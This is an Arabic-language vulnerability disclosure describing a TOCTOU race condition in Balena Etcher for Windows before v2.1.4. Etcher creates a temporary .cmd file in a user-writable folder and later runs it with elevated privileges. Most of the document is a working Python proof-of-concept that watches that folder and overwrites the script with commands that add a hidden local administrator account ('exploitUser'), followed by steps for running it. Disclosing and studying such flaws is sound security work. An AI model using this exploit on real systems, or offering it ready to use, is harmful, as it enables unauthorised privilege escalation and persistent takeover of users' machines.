
إصدارات Balena Etcher قبل الإصدار v2.1.4 على نظام Windows تتأثر بشرط سباق من نوع Time-of-Check إلى Time-of-Use (TOCTOU) في معالجة الملفات المؤقتة.
تم تحديد ثغرة أمنية من نوع Time-of-Check to Time-of-Use (TOCTOU) في تطبيق Balena Etcher لنظام ويندوز في الإصدارات السابقة للإصدار 2.1.4.
يقوم التطبيق بإنشاء ملف .cmd مؤقت في دليل قابل للكتابة من قبل المستخدم ثم يقوم بتنفيذه لاحقاً بصلاحيات مرتفعة عبر UAC.
يسمح هذا لتطبيق أو عملية تعمل في سياق المستخدم الحالي بصلاحيات متوسطة النزاهة بتصعيد الصلاحيات إلى عالية النزاهة عن طريق حقن أوامر ضارة في السكربت المؤقت قبل تنفيذه.
عندما يبدأ المستخدم عملية النسخ، يقوم Etcher بتنفيذ التسلسل التالي:
يتم إنشاء ملف .cmd مؤقت في دليل المؤقتات القابل للكتابة من قبل المستخدم:
C:\Users\<username>\AppData\Local\Temp\etcher\
يتم ملء الملف بمتغيرات البيئة الضرورية والأمر اللازم لتشغيل etcher-util.exe.
يتم تنفيذ السكربت بصلاحيات مرتفعة عبر UAC في ويندوز.
تنشأ الثغرة من الفجوة الزمنية بين إنشاء الملف وتنفيذه. خلال هذه النافذة القصيرة، يمكن لتطبيق يعمل في نفس سياق المستخدم مراقبة الدليل المؤقت واستبدال ملف .cmd الشرعي بنسخة ضارة. نظراً لأن Etcher لا يتحقق من سلامة الملف قبل تنفيذه، فإن الكود الضار يعمل بصلاحيات مرتفعة.
يقوم السكربت التالي بلغة بايثون بمراقبة دليل Etcher المؤقت وبمجرد اكتشاف ملف .cmd، يقوم بإلحاق حمولة ضارة به تنشئ حساب مسؤول محلي جديد.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py. يبدأ السكربت بمراقبة الدليل المؤقت بحثاً عن أي ملفات .cmd يتم إنشاؤها بواسطة Etcher.
عندما تظهر نافذة UAC، قم بقبولها للسماح لـ Etcher بالمتابعة بصلاحيات مرتفعة.
يكتشف سكربت الاستغلال ملف .cmd المؤقت ويستبدله قبل تنفيذه مباشرة. بمجرد تشغيل السكربت بصلاحيات مرتفعة، يتم تنفيذ الأوامر المحقونة مما يضيف مستخدم مسؤول محلي جديد (exploitUser).